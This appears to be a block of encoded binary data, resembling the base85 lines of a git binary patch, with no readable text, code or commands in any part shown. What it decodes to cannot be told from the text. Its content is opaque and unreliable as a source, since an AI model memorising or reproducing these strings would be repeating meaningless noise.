zSMgZA>g}7?oh@o_$$&;VfDCAIw?86+siujkmEX1G-N~{TX1}QkA2z+73KRKa$jGm7 zNtmO~^N~~TWVQwrW|i-1`(!d<_kNqV6qlvQXS}B^I37+7TQp#9{$T_G-jbKuF*U~# zB_iVw&ki9%Ic4$}1%XU#2YmV< z(}oy8y{Vm)5iB_3oy5_9b){@kTir`lUwfv;G|1{+%1|kbbQ7AueLyX;Q1Jtm{a5kb z(>Kq2P08XvL1-<1>*&ysxFxVh!t_$s8Wtx3ht+Kp`4};v`&H8A)!u(#?T7vqITMJc z+w%o)m%;eg*%8#n$jwXA&zh0f|0UZ2+|d znLg*aD;w($v_`0kqhcyB?uE25_3^hnI8jx6O#s&>0&FEZrxKH^!m!edqpZsbePDQw zXXEnx9kSbxZ+b)=_WWySsl7WUTakzCHVL-|V^kQI7*Uc6108@DDbV!t~ z)-0Vs91kf@yR=M(iIal&Bzeiw;$7HczH*^WBCr%IHo_8as4&|atHJ3*7tEGw%vG%z z*vcKVyBmq>0~T`7mv>sF2=jYN=Fx{ogOk-CZP%U80$X##ACnr!o6v znms4RgAZJu^bxU&);8s%VbPjIk36O*MpYct=JaPJ5T1=Oo5sMom`FC@24mohnBB}} zIs5`;MF2Q6bs&53T#nf(p7mz4*?xz z!A@bD5H47mNB76xZT?mIxDC+D$2@sMfOwc1F+wX|&kDKjuxxLJv)Tu*V{! z`@6b}=)r{DiA78fLB3Rs;UG$?F+15sLP;?j2HaFPOtELR`jGnojP?U{%l-JC&OfGP zIG<|`K9)%AImpH0Qgk=yrp(_*D{!6zPycSAYf?2~IOl3Bm6ONiXwT*kH(=FVYj{FQ$RUV#tYqPFscW z;uJV@5Ejb(SMTgbOpsn;M6?X!DmA4Dfj5KsZ;_9wsv}x$pqCV~Nc8)Y1V_m*PNGJ_ zmlbX!#|f~=xggJP~?9-idz;Ld`#9A%X2iv z?7;%#>_a9>Xd$zVFb8@8P)|G0q8vd}WVK#VhHR_w}$Z z-cBQEeRg#0^OZMXh7@w(g%*WIYMdtv4N$|+OR2=LIS)!AZb#0o^q#4-d-;!-uz1Hv zp7nplTFezMdjBScK;KTkpx&VS(>ZC)2(LyFl?i#oi1c`nTVs7tVc54ph|Pb&6dg2O zfOKmFe+z&>WwkNWBxwR3^DpohLpCwsWmT93O>^uSW>eWy8@!(@&NpG+eJ$05IU&H7f=%b1`70sq5@Y>f$Rjb_qZ@&%EJaI=Q+BNu_pfkcB9$iR_1O7I zw;z9sLb_=Bg+D{_C}$r<-rF~J3+XQkX3Q+uNQdkrk6|$3+tZ_COm_~F)>lW6hFVi> z#(6RRb1$jS31l%GvV!LjqxdfgHky0J73P~(()`btYD=E)-a}lg!h~S2eC&gFT+6o? z<~su%oHdyJ?d3*2*30-6AK!%$A-u&1H0b>#s7-U7bZDp*hG$+MwhDmC#VQ0~fm&Yz(HnrIj_!%L>Gj6ebpdkPKpO*(1W&QeLhbTpxQHBGd?_oy0fSTX0 zpSh8uI2)~ha8gCQryQise||0O-wgKm#thoe5;eANiXu;EgFaD+OWdpe6zi+hJ|1_U zdc!V&V3hF5HE@W&V)F_98yCGSeIGK4ttP0v=KTEpX-e>P5)T49i7-F zBHxZ!yr_Tn{JQO~{E9bv7%Wb`=OejgGqN6sbsZK5yWf*AbY2awSbqs*9P1s~vg5*M z%AN4*4`kTcV{0u1I+g<^nE;+Ipd@a5=eb{Nq#wiIjFsl4z=cT1#2rS1wLE@kiV~9; zFQM>LF5%2S47t|FStJa^l_^J)K3TK~(7qop&5ll;@A-`~B&7AMxP7jAe(PTWpJ%S2 zH1_Mo!^`Px_OcE7jZ-0R#3Mqg5|zk^P`mpNEX8oO8Y zip}f^{m-%U$a-~RCBw`=o?cSGMOiIu}e<3*+L zxpm_}-Pd;$0Gs*h-ErfWug-n)9e;CZe4=c)c|*_W{I?rnn`tx%c_F!L{G6)n``~QK zRLl3@cT9iNIZbCn<~!;0tH17>-}2$o@SmR}Q0q8k3MOnS&a5h0lsE|99sh+klu26N zgsBKy#&eGgKQjBV(r*u4zEX!(7YNCF#)V#Hf~vsn1glitAoaLT`1WOisox$XN0!KS z_?tf_0`6G-T}nx+g^;EmFAq!Y`;6RIg3|9xP3lkTwM-ja{oSxU?ct?$V0o&!Tk66S zsmQx2TG3;6PtzRtr6Ri~^-oMXHcaO11y)N@v2BHJ-V9G(k~Ieg%0di0O1yG3)((X(5>P6~=M z_q%0sihuBmck$FacH4brI|zR-oT+?zpuQqy6K30%*FQT*znU$7RFhRd@0`Q7>0GY{ zP{A;Y;#m9L^!$#vjVFHn-Sw;Xsq2QPztk%a4FSKUT|+;Ia@<2wE|Y#Y?$g^C%7I^PrJi+PV>ic}JO< zx$78v(&FJ!+vuj`3s)?9$`@@ZJ7{>s^2uquhidG>lu}*h9>n=$5iBTn+%=~7*H)X` zASYNHyf;xHuf;|EqY$^@SJmCvH$C|HYD3D4Qi4fntUVq<@(j0l)wH>fuYEgtYuz+$ zqI~@E1BqW%J70q@<~UrC)GyoH4WQ$lwUGI z7TJ$X&5Vkw)@(~?6ct*f<(id@E0{-@>}!n4K90=eCJOZe3s%Lz_-4-0TvI0|D_KfK3icSW zk$ysQ8w+jso+%u7{k-Nhc?}P9Yos(iMD^0U$%CL+ZwTC=^S=UvBcqT3PUeD{caFbnmU?VZP!o{q1J-mSF>CEX(+;sS7w=RCL&C<5> z)~@}hx!9-ztNQe~r)L`pP8}OXqZNNwm$U>MF2yIygO3*+lo=xhm4^edMm$A3WdvT#QL7H z&OhyO1Ra7A*Qv{@AvZZZ^L9V6%dp|OACmYEEcaYztpb>;i%Zdn;6Z=K?e&zgbnMx2fFCJlG{bU(&Zz zix!&<`k@V_Y?SsL=>c_tzW-?{h&bPCUS^iy-n8G$_C>Du7#l7Z>`$|1vo=%3jRxJ zr6X>_h|_Y;`3YUcLm5xAiRX6lA(U+SVs99kD(fI&+K76c!UH*{{qU=^^N{HFytGOP z(H#8zuy!#y%(`9oojAx%41j3J`GMUf6iL4?>n%g1&v` zdIm6n>^)qMp>g!)IQKwFCHO&(Fg-=%AShx0!yDd};B9X7qOsGZX{FUOt#XWs5=JT- zsG8>=O(IH{rtv^({(+6ZkK}^`OtO%psqpgUHdP}qNhm?)Cl0LJ)C9x? z9|np2XTG<|F)r+WWO$Of@6?5-dnT`*>pH;j-O3d82sxmpZ_?I63~t@}iC)rO@7)fH zh~0}$GpeY}vFiQWiUq#(7@6%D6^8}_!P>@R?-wfM?)D;<&(AKj+C)j*&C4T~&d#mD zBL=VLZSFDGM)g4I-U!oH+7?Wp@JW0es6WI%I`9>yU{jKvGRsJ ztY@|$X{i~EjF#my@)lgweH8el?_Lyrrn1;k^t)_l9rps$9k3qNIL0ObGH?$Vam+|t z8ym+67Q%>4f^r_r|7%_&-OY<&`?jU@DA`lHKmBT4Rv>_Wrpd}8NH96+5NM)+aqc2= zjO-e+kYmNq+#T)THg*1g6y1woi~aux@ax*OwzYQZTx(lfrISi0sdTv38A&H3VI6dm ztnTQDYn>&XBNbMngHVJJ_q9qTp%OxTSCS+Q>5jX*{r3A0wmo)jpTqn0eC>bMZIn1k zN$0-Fi|^PzQvFxnCM$z{Aiog=;P&DXHUvm#=^8FKWZ8+9O|;z zfD>*iZU|%RS-17Cn_%PDx%IH_bwX45@@rC8!K(9?B4>~P*JlA29y`x|tOT%o@!8jM(rAqGC5oMUzQ)8@bKJhQkfakd@`m6I+N zsjo(8>XP|f$4jnEXTmE5+`VIX2^O0^9G!e`LH+D_O2eI;j)rGEYC^~z1GWZ6nLn(2 zU%!XND+z~m9uG0x5%phu_cgPE0>VJ_Ni#2ZN5c_-G(f=aO!3_RiCdh8ea;FkDLRV! zaVQ}|d;ru_F#5fiTg$^XHQ_D2Bmje!#j?y5Fp3%=s(CLI+~#SS4?t>hsKMvBs4YIz zSq4LhoOue?;fky@sJv@h-`Q?ZTlpSo)1raw%)|bLC{MLS{J)2WAU3|_OO`<`bLsV3 z)$Ucl*ej)vn8p3)ctJalX?|s{X|fpKpU3IdWb#f`c9BO!ojIW z!$vcTWDPG4^fGM4rUobP(;< zIP?sv))40=4?r3nzWomV?Lcla3bAbQju%S{0#$DI?W(|*tnSO))0L&(9+tPh_sox1 z&+aeY{M*qZ?og5Mt&ErWAP19N4)t_@B3OQ^-LI z(Bm)qH?qs4k>}|`%4p($1`6glM_JH2P!h%*uyui+$i~Y$LqT~lJp2)HtQVqLB3_^3YN&?>(<;;*T!Y3S`cgKgm(3m$2JiQbg2ye%QS)^+w6 zSM2d(BL=OL4zjzNUJ)S#k!ZR+--Y06yB*rP2mXVO?4_(9e?c*%yTY(B3K=vY$@2Ld z^oU26A({UQ+alP&ke>fs8yw}aDQMUCY;4k$bHzD01+XHIZOY*pm;w4}z(u(_lP5Z+ zFLaz9jLdAU9r^CI%1K^dI`}9y4mEU=UzNB!G6^*#_NKRbTy{h;O;cO=u;ohD>WzSj znU?A8skJxzw}hCmBF<|}n?2dNuQM=?7Ge0p+w%+E&3@Y1CW4!t z?WmLOrk33`U*>5N5obQ#HG*@D)N}rm?bguX@}$?(Wutdm^@jTqVPg%O?TMR$rz1P3 z-59zaKXkcY^|(V3evu9C8W(jP){U9UX|V0rK)o_kBO zHwUir^BLUk;udhHZ=ZC@b4R?Mzmwbc`raU&-fi`JLuML+{4eaHV*_sH2V7hg=+O|( z*7I@d_1S$PA!4uL)ZWmp3rAWnxD0u?4_#=m)nAaT+GVW24R_Jm9~)lewks@mPv%V2 z%-&78kr&DO`^P+j>Oc7K^gV?$N5?LN7EOD!>O~&9xFdM)&M@qW+xmfMWNc)_2EZWb z$xPUSe$-d}{ZqQ<3um^z)=!wj?wyI;wNXFxq+VpvO!V9;Z~n)mKHZ&1qQ0J<*;n@Q zU~tsFc!Lyr{sH}&K+46mjkvfL{Rqpby?qAm9Z|^q^d|Y!p&POjw&^=r>czkNxXE-( zH?r4dv(AyCUKh=iM_8-4Qi{RF&CiZ{xZwypu%sPFgC3PAe$34^3@VtZFT9wu`y(v; z=(e#j(m$#?Zq|JNhpew|xkn6LV;c|nuL{QndH3xV6h&pNG^AeqSVA|<(AV44)L3w* z^a!pwyfY9BD<)r*SFso^SryjdUc(UWETH&$cUA1iHCFwYK4oK6c6Qp##h|Pul7A$^ z%Uf-i8$z|tvPT8qO&WC*nsy$FI^`c7@S|7P5n*uq_a2HtDgl$>EP7%1zQibK7toT^epBC}#6%8x*Kx_3Cl~>j5W)#IJQ_)nE&!`)_qC?zh;X_c#kqV9f;Zu<0bVy~lob9tKak+jjh z`qLp(hDXab_r!lF%QP-)iLpKsR~o4g)w--hvuuSfez7PBWZJL`*U?^}uQDBnA^v48 z`_93En`509TMr-ku)TWU2rH(e$fP@QA1^8Lw51ys3$8<5852gyN^Up?clClmUN1VO zAa^uvbVSi4R_k3%-Lgy$&JnhA0yM|{K^pB>^wrp zfcIiAM|E7^?zyO3SZB%Aq~XD7voAM`_9G`v zci)M@yKz^~3kZhv+hI|0c2CyN@45T+#obX?)1iF_ez-l~z5j*Bht5UQA7z`d1d-81 zYmB!sz655-VmRM@^}WCKh6Q8YK;s}~$7L6GZ0lAVM8{git}0W(eD>Tn61f9ozwBxy z?E+7o{Ww@~v4h^6TGlxDVmcr(?r(a_btlt(ndbeJFJC=!4@A2`eduFBXnN3C5hFMfr1fgg`M?D9Q+ts7wo zq3|vpaWc^w>M;e1(u2)v^-cHqpCtYy?FLWF--^MvqO&NMU})er{(w22WyJ>0T{F^X zOei>uP}_hJ%Bna+KzA(5!W`W?P-HaRqaSkmZ=bLH<;LH#QTh@X%f>jhy8PVQM*ru- zg(8$Rj}oHcR}NVDT3CK~J9%2InhvjSQ;4&;qY? zwI*e}q3ZzX*nv^-Jz(0C9k(MuF|I1sOwn-yL-tbp`$e^CxW%^_v)aYgkc8`qLiS@> z>jHOGqo{S2+`5#WI~Tf%Njq~w8Z4_b9XosM;gI&wj{z=-(Lm4o=q!aE3`Lwb5L`ur zT^)rz3b%Why@?&W%}eb&z6Hdfdk*_ z0>_`D)GC3R8$f6UNDZQO13heXL2avbp&>tU571kjm>nk@7I0*mFx|Z@}jyh_v={0!)ySel^@#@UcPOVCehI z0Zca6ao7dNMh7%&f;Qm~d3m0&Mzxahnf!j(6VQqf-~m-#VLR}wZ>tq5*YRCTA^SUg z0|$FqeOV}fY+>1?aTu-HRfva%KRY82C#F06<@s?T`4~0=b*Stu_DDthAPuff7sRwh zO*kmDRHRGVkQ#yLX6XdqJQ0;=WA}Iz6J)9X^h1LhHo&UTZTeB>xaWbB{lQzNvKnkK zhJf|iHhADTR+t#y9s$LH_9a>Bt&7`w@{__(`?yBnO$N3AYh%(k5ZvG-Par45+;eF2 zp8uUX!FzRZc!0_G-HLjj>;>EiUT?cI zBu{G$T5Syh*xdeXxk zk*J(G#wh~&!0!ImNo3U6^tmMU?_R*2N*Nfvy(g?gf6I+Cr)=H-`X@XBwbskqV~gq! zLu=7`(M zt*bHV)t@QemhWMArjTGmz)}b?Qk?#daCyK)7_FhNtkii{2a#)k&2_ilI{3Bs@u z#)0hLtDyk@hjPYS{X^yCXJ}$~)}a9loZ5lH7%sVXw-7aPl*Hr;UJSXQni(p7!W%~| z3GdIO7S`?cN}raU_C~IJk5rA{ofLLOR*oZqt?AJ)HNDUd&E7ND`~cTaAHK*s5G{yg zCGztTHnv1`Wm8b^JY-JrO8V{RzZQ= zZuhaG{5Qy{D)GXm&n3Q7l-E8`l#g!RKdgv589lQDPsL&9grJ*b$6m1Er0b|wQ1z=D za>SK(%3X)sKZ|bC7E7Y4{~K=3Q=hTcaH&-dz5Ri)Gdo`huJx(QVIB-Ah_kt%m(nil z*G)qT{(55315#Lsi`G%KdO1c~oE@CSLQm((x7kWUUuwLb#yKY*s{2qIxZ4~pH9ZXW zF_SG7FHh_-z4`bWZnmVc25&upVzoI@9O(M- zWYagfZOeXnHC$QPH6U$8G51XR&u3Et$fmTP86M~7$=X887viP6mlYNJkH)3S2K0m` zeICYJiY#8@afz?IeCSqJed&D^#v}7l&xFklB$K{tSC@ikC$y(;Wa~mmgv*<$QNURU5-r z(E`tthmZH*t3-`dd72k`BDt$BGj(WX1hH-lXWGC3W@8C4y=iLA*-t}zeFJLj9^|@G z95(;kRL&*G`(`#MKHld7b>r<%WUn%*bC~zbIuU{5zn0`_l7z&J2_2kD(Cg7!=*-a| zGfR#);=TlAX{k)g(=!3(P77*4D^ISpB+pJ3ebA7$*0b`L9ucO>3AC|~T8p-Mj5uDF z!32UOG%2h@*}Xc20wQ?{w46yOIEuo=Henu%tt;!d>!Dk90tf9I^3#^ztJ)wUY6B0W zHosTZt4&0838ii+M8S(qo;G)YEIQJoeZ^L!y}?{|1M5!F)%AiVB-H3>ajCZ<#@hzX zRFwf}_heHEyUj5zY_ZxRA8)|pW$CDdLThH_95qG|*?LYR*_(uqU%GU@;?ZV)S$T}5 zq%Td_jaw_ua-8GjnNoCo|H=lf<^=^?bkMR1FIV%IUO5C?F=dgB!)E&xZ*7AyQa0CU zUPn%A0#VXV6=^H;Na=05QYDdFCe1@~yAwg=)(&U4R^dSVq4SJL1SF}n6tt^i!Q3iO zD@KVxfbit(VRuItzszF$NT^hp=P-?AYy0-FGR&V5&a!h@8A)sU073Xrj@j1MO-ZX$ zj7(R)d-*QQQt3qMSu@wM_D` zdMT6#z%!Ug!D8s;h6GBRdSF9E#Fk;4Q^EHU>!kP0$P`50P*5D`)&Mo4c}5<05PGvK zwOS<>+aM;V@WbS!Vyt6V9YlnG=6Zcclf{q`P-k9LQ0mmT zc~KhF&u09|BC!3Ac_&TTr2(Ku!&In=LTdW=ZA;8Pl-SLVbduNv`m0%9p4=cK9 zRE1jXUk2Am63DJ;BE~mEk(%?L$2+IR=Xcgd?%N`dOYC~DXs`qt`{rg7I$%ND5|@00 zw_!^wfXRS4I=r^bz+p(!DIdjo`C^PBvY3go$}blrONLzHY=Eq(f?)y4wwM`X-Y}C< ztpa3SfhZ{j>l(V>C+>xbJO6+Oo?~t&6^g*}@5(zTT+ZNQ@0Wu<-o@{XDABJl?`Opo~Q+5L{HI^PY+)ilFH3+sj7o1 z*mIuxrrG7nSE_qe`Xeh+*u@uZVVkfRReU5JpNn20Z+vNcMw<-j1x7hx>xs<%#|a>DOLyk6kp6+c)<0#c~5 zgZ}m+ggO8gV}Un-g5;%wnmIXRVA2?$BIgt$%5;wXfPZP&Ze)jSJnE(k;)4*#?N{-% z7fN0jkRz=m2)^z|POYT4w_Y*@FSF}e1Li1nQ6d`(6{a(X;m?Nfb?G5tbwZg!6#R&i zoFX<}t${xmQKpa)RF72(LUOJPvH_p-tXlNoje}Aq?1&_*{#eS}$_vY!PXor~3{m?# zT&&-!G3_QerPV#Zf*c~mN;b(oqx&jk^p1Tv)TE}8q5;w?25Fz^1I~JFncot-!JyQ_ zj#|Mfx!P`4mE0a^Za)BeahOwvn4e_@#TUZX_%85)TVx3(ex40g-cP!y4uJi>UoU-K zkAfsV5IB&B)wBg2COC406ya;#;ZBaXh$5M(xuj7OF)>{%^>_FWb7m!}i7A2NhFob1Z32v6DA;u6)C7Q){c>$X zbwfmuPbiC02i*Uxf&<0@w#sa%GEI!n5U@N%|L|mDCP%?Adm;Lh>NfNXE9>9j##qAC zt63490gsJ}wYPnIJp{7UkT*)`9!Vy3hQla9L66PM7ot`74Wtu~drL4!&8`AUvQzy~ zYSCb7K8OpsVm4pIHlw_c&h5{L3&*gJWU8e8?DYTpqljMnu9eS0K>D7Q`H#<`Md_T~}@F^|qRj2>kvJ}q=nTIKhYrd^jFCaWc)CNjlvC6W|I&<>l#+PDm0F{9J)sEGyTa`-A+Ihv0UtnOBx z6KT-I<1(1?rV+?PR9gmey^!ZO^C1nf)|`OIhS?b(UUv(aahphMg<$lt|JM`4!kEh- zLu?Akn)6D4U|<7?ZPp~gBwdu?+obh8l;t;rQ-c}9b3JN^ZM@(dcItJLh<=OuyG=oR zR7TB#q$@FOGk`K1s?OI>B79Yov8YPCn5i!cy`jtkHe@N1`Cv;#9bBYPFO+R+bLD+e zaZGPXj1F627Gx+1V>bet^B~3MgqB1=T*=3j@R*|_1q~FBismAo5MF6@nLr3ksC6%lw*q&*4;>Iw08{31Lq zP^UR`9pK??w%q+k%JttZY~bL)No{Ksv=p!c>pV4t1m95l0GHYFL#u;Ld%9|un$Yr{ zh&AmedmY;E>Ox}`S@9O?|E<=KMJ*}p)k~;G;1;G>#DY2XqX?^mi)TR9^vh5L=I*v) z8#GkW4p_vI%_!_8J)qhvvSMQ^$T~q;u2UbJfY%08Ngo zjb>rCiPdDX>y=~Jjo0*c2-6)DD_i!0cOs=VL03aukjdD4=%X zBzXVFTAT2v@O%ID-=&%L6s4&4JjDKWBN~^Rpt2EG z@CnTxE~^2#mhl0sMj3{EV0;s}#P&-OsAq(#$8%H)%8lK=?6UG=mL?eteqeqQG2=PA zQtQ;?LDg+M@JT4^ni%}ikrY2!F3Tuj5;vOq^!iR}IjArlKoe{|N83{8=w6-AlP}Db zGVUv=>=v3|6Jw4%z}h4-)u!YO-AG$4O)Qjxc-OSlWamUYxr|Bu@Omu?D6c1!9Tnm7 z&B;n^X-NOtY6fEWKauLnumb7D&vzgzL$K$+wW`tOt3QcoFZA?zH@ED#Wb#x=e@qfV zJgK`IWsD2RyTe3a>c&b)qW1k9*oMRV|Ft~#p#j7q%Hj!j!W4ev|% znZ^>+mqSTrz?y5wCZd{om<=*2W{!dwSS;rNc*bxn+z4B1W&%w|WM9lD+p;YEb+@h= zC|*q{-lQ4`YT5*^E#2p;wZb900l%kU8I&upfs*+;3Ipy^b_6zw=QoOdWu*gSGEjvf zUa<`qRN*Pji8QTsFg#RsP6k4Y<#umWA{~-T6p>t!D3jb-gY5ugCqHCfH zR9*^<`~Wf!sX!Zf^!Yk~gVH4;k^=(iAjEMFryRyX6bf{kXK#p~$ufmx>Lqv?P-i zQ9VEb4;@2@No@RX5zC|Q=QiL*JetdRoV1mC@bjX@#_N_ujO~T$29sk=4`;x$a1^C8 zcD!3P=^yQ2)IwdX9}5^+f6g&!3^5xwv(CiC0vcw+LAih?<&LHgx82bKVzZUc{=m-& zw5-V)g3nHzCG9JrtgwU_HS}T`_q2{!E}nBzo&8*e8>lfxb3j3MN2|dCX5k-20-{RT ziAh9i_KUHtFV#H)rMi(YJPqd*Plar6R|T^`@5!5~9ByGfE3*!8LG4CG%qjqL1Z9qM zYc^f0N$=4u6ZKfa7!+hpAt9wt@%0^E_J9oDqdw#n9ucbBFQ#`{t8Rl=_gd%6LhSMB z8o7Bl?$ZWF%^@|O>U^ErvY`pN#3b0Se`eTpP%d3VworcI6~ZkWdlT}JqgkO~%Blvp zDd@`x>Tb>g3$2W)W9bNX&)F7#t9qw6p z!)OQr`1{K;^B+h^ve7)VMOwG<;NJP-gxRi|EBmlI{oN)aLr zMunh{ENu^}QiLPV!JVhtHPcUDtC#{pxYtw=ki{F&6|eeR#Jq+A*=_Fz)YBcfY7CCt zo#7`R528SSRVE9D?Jt+Ke3stgv4THuJ?YBf`atv z9y2u(zf!icj6L*FO|s+Mj^m40CYjNpE~}LfplwdXY+mbqn=~J|dM) zWGfD0bZ!OdJh=`PiU-o7w-2HV0l-*27RFEzoq*8iJ9mLPZ0zjAvr53J|G2V0d~BMC zmGQy zC!-(8nIlZ*s4DO31u=5~1eAEwuJ_uWOJveH2{Q|BJFIIhV{XOxzyqYAVwV-p3#kbB zv$XD2C-%u1JBO!Q@3@pJ&2|m2*61-n1C`4auxNs!Ey$f&GmVYtkTR0;JeBrpQo9NO zDX;?LI!`_mn++3=i1Cp;sG;4lA7S=!lz6d1!Q$YXZy037kjB1!>TXCz-01562y+Ug zhT{cSYM^U(v7P@O`Fnkr0!*8pqyt~2<6jd^snvZU}7mw9& z;Js!)cL-XwV#K4>#XiTSN1P_Qa82<D$aP3;eI{zi1HXyN;PtJpgK_p3&4rxvJ%jPn(op2_4r%SBsdE>5#H^r?MimC^}^ zMYfX5R#Jv;vC8-6=UgbJ)#|BnoYx4!c)PV&q`xT4lGoT3*R7zd-n2?!^Gi<|+S+3z zBsliy`Mz;xcXEr@Uu@vI>)lT&%fxOQ`srg7UOQFfe67%EaH!!Ho^xvngNinm*v$ay!MI(WH25;mxyIF`KU$iKfn)`IRSu1}5Pt7Lxc zVz!HHAlfbSsh$6!gaU)5o9qY5@!8jlbVB>Y`hQt%TLro|BcTrnn~YF-$6Mnx5l`yC z&aqjMHYm$$G!JL_$Y1=v%H2`PU(qr~UWT4(k_Qe7@O|R)LVBV@c(Db=_g7=Re9H$= z>8Zs_(cr!Da>{y>p#fT_e__~D(>=Zdtb7TF|JWhXmjC)FNSV#GSoDSjGPl#eSSO~k zq`)z^LJT-|wX*S!O(9}=$6~fvWO?-;P7b|!xE=>NFXnu?RO*e?h zy9=;NLURc3P{&v>%%S^Cl2gZAWh2MqzBVOo4Za^R1^$7*BZYXkhI-bVhMQEUk9H%q zO;@Fu=ccD);dH|UQCk2!H5kH^1cHE?JCNgepX+AID=@MJ@*ILK);{xMYc0Zk`rG`9 z`S4`eRzF1louJ5Z{<1O69J*v^Mb1FGLHaDr_c>o99*A=4Dt#Y&=zYy}?@UojEm`}Y zr5fiyrM8*#;jI5O`umL%OAE7ouuEb}%8)DTo4A)4Ss_py7tmYl`yHy=<#1x5+M+Pe zd093X*aU$;zK7!?*_1=It~=*pcd}la0OvKS`GbdFFHRsE3C*B2e0Rs0_M&*V9_`{; zO}t78B|TztHDeUPF9DR4I3n}!d>3p)9&xxeoH;w&$6`rc*Cyr{;Oq;|WArDBBN=Qj zO$ofp#>OY9q(@PI0KmG4jFVD&Jg)LUXiP}n^SVd-n@m)+6ah-+VXRpgzkXtbY?a+= z%;Lkg{{!jvhS3n-JlA<6*syPJXxI~5_^rmMfU?}Xj==*~zvEIfmU>vfU_8_7JmMzq zVO{hE-XGx=>fFv^PD=8a9_9H5m&2LgQalZLNOM})^;6R-x$Cr0{Lv5yd@-Hn_|77S zl#zL+?4Dhgvb>_51)@7Su?9M~9-%BK(KC4bcM-bR4b#0GDb+M>~dZERYxlrPQT?yTiQTDTLMHlPTS7%zQ1Id%40T

        P_5{z&e6{a0kW=o8ii z+7E~MmXiugcFcste$yjjL6yBh=>X`%Q8?}O2JkPkUQ4+-+1WoyQ+ks-eQ5Q)!;?vu z((N*KAk2+|0$)ie_S7fXuK~{Y6=IYR-hqkJXu(_}ttcEQ4OvPQ5F$dA8@(Rr_uZ->q=+dJ4|lx* z6!VOqL~9ghoe5O#Cpd^y5=ta7mczh0AlH&#C30R`k8!N+R*8=uH_`(@y%ZhQW(`~8 zJ4LxKiCo3AJOX7$>&c6=;JeF0Ej&Dc3lQq9Ep^SbndKbAbtYI_e7QSr3kYme4vU*5 zz5Q-xIsPeO)m;w}iawX`6!;&W^a{XE0~!I6I_#<6{pYs5`*Es#4aURPy?v!lKx>;I z6o?Aw<=balD7G-U)?9l3DQB2t z*VUutRq`?pW@meLFjUvf&MW(r;%KsMY@qF^{K_Q2p@q#Q!WeBGk9t;Hz z5BcpV#T~dL!Lr4`314a-9~w5WiRdBEAq1gs%IiA%@(s+@w(YChl7E1N3&W5fR#Qs? zc=6=>KEfpS5yoh8YA@}iFkVptT>y@R2B_-7_y?XT%{2J{FeQUVbm2#4{6nSrVk^!0 z#S-kFU)0q++(lXI+5Lef58_^ zOvLbcL@(6wj2x7K@-Gczy=FZso~K9wjYc;9kXYVa2$DvCINw8N26!uUjXPg23+BtN zp5tXu0V0sXDgW;m(m-7RkJJ(T*=9-C!T+fraSAvR!^Z?pCRbHC-9IIOl8H$GxLQb% z!u+wNgOMd? z)wRhl^l((fU?iHD#)rlhJn3#NHe$DrNaLDwGenxaLA=YS3u_%BrCG(oUWNUjL@*3d?qEs8|8DmahRsxLnhB-EFlm%$2*TkH8@T%DUe&rW0 zdXsW_>~H1T)XGQA6&yA=t6Ba(w=W+2S+Q!PZrZUL23l$Pss3%V zE>rq|CaqIrw<#StR!J$T(uB(>!$pzJWjTNR@5b<>tE+U5+1tmS)UPg8epO10sn5zT zp>5dxCO7{5q6h7C^W>rU+=Y_&HeT%J7Pg&dbC{MzWtB+La?ghNv;`Y{a@m$sg-mga zcrl6fyP@pUC9A6Jv2C8Idiw`UTOZK_sABokLb)w4;VVLMw$^A!Ex*y;`b6=4 zW_A8a{VJNzM+}H z{gF(*wC2|LOCHA)3VXFKH+U@&Zw35&MPM!T*mtYD&Xe-#CO+y?4gE&OLc87ZE4^=Vzl!>a3f3l-9WPRYjPXQ|C)^0zDBB$I?>2|}5Y$dp9FDq6vo zxweu`x6f*Iy7Usi`cg-Dkh-|N`p-q$`WDYeoj=kp%h%kHRA0SN&~;Db#n~yKNK4cP zA93!ab-f*ItFK|)O}{lX*ZFv|{dMH+dv*8R{_Pl5XxD41^xI_9bcuO$QvD)A`2|z_ z*%dYW>No#eQ=`?@w!ZW2qpSZtYNoysPTc8m+;o3@Q|J9Vx9%x4{;5H?G+(wpUP5ZU zacX^Ya?O3 zA#Ou~DTS7m)emZFdfqGaJxIIPThrmTsTr@{=h@YMGPY~u-Rmcp?r9yr7Zq~bLHha5 zfsDSNMz@vs^-5_naO0qxBa?;ZMEiS&R@ z>Y3|nudTgJRp?6d9<;2zbtYJp!D#JGxS`eBo%04&^hUF5`mQaPUh{sWMe4zm9!-1n zs)jr&_wMOov==k(L@sw8oNn`DbSx?iaZDcmY57an;r!B0RDS1aJRflSW4kZzanpRN zLfhl~hYzxA9yWUqo>+b`oj$Z&(-V_%b6{fVS!!2RddKCslH?4nqV((akA|3x!Sg1= z_8BeZJ3G~pvwa7XC~c2b1|Pr~9aE9*ROW5&zmG2r-Lf@#datXCpV3lHvRjan2EWet zvp#oTRd~2|0=-%|c+#YQFsSoP*OT_vN1Dtb)8)ILb02ZKo~_Qf^=I{n&cuVkO+)Vc zyKQ#G7gm78VW9NYV=dFuR1_ehV~e&UdzS~LT@Q;x9>1J_yp}X-a?h*F;YH|~Ax2k= zS3j`LRO?Y4NE#m7wRy~OSGRgIW3?zO#_@UJnV0_~zMvGo@ca)T`VNG3c?G}ibi3P^ zfA3+~{;}VyhejCVE{7kMU5>x){lfF`qw@VPi}#O3etA`A`uaTcH8-xM^bA82h6)k< z8u8df3uq~dr=nPdM{M-Pn@V0kDh2(&jFE;-4`MOowinv3K!0YyZb65w^mAhXd4j*I zD}eMg_|dp0`L+H~%d>l(y>9p-@oS&-BwH~dLGreu@b=$vqFK`+53zg%+rDL^caHhN zvl86hx6Ma?0D+uWhedK{&E+(9mMHIfTd4BJ=PignesLbe`0pD3qy~~;@cyG$4f|i6 zB0nBmei?cBZPdL-r|)$G_a@mHZ&h}`(2JikD4M!77j2N*+IZsiO%Mzn4hW<*7ho~A z0B(KT8#)XP0Mu4Xg{2?1pQ3REzVD=LzYO7tR4kZ;64vqBKG|R*Q3A7$5G#4NSz#a$ zCDe%JYlMXTG$?KRi#11j)n`QiI!@{A9xK(An}VsEeFr$pK%^9*zLQ|dM@rY8c;-cZ z${r@HpbGs>EiTsNoij4XQ~YeR{$>d_xM?Od!QU-m>^S*(3lXy(z}eDHYYGWS8@NA0 ziwfXRh@mv67lG#TT=o&8C!HLh;Zo)p>waf*>|hh=v!>>_(U-Y3myg|XxYuHWEwSu$5;l;HPm#9Ic85H;iI4&%s*twk`)l&qPTeP+ z#6w3g1^=In9M_cG-#&bgU`|@$5mk8qdkSI}D1>j!dA0bN<+JZz*^KqZF*a&{Zexvg znn~QZ{Mvfpmq8Jz(WcV#B>lQ*4|Nz&^o=6(4*wMxb~~&yFY+NiY&O zKxTvIRf)s9{=xGVRuC+fRzA^lcWdE}z&1B60F%X|wu?b|Gw{SK^5)@}B*izOQmVSL 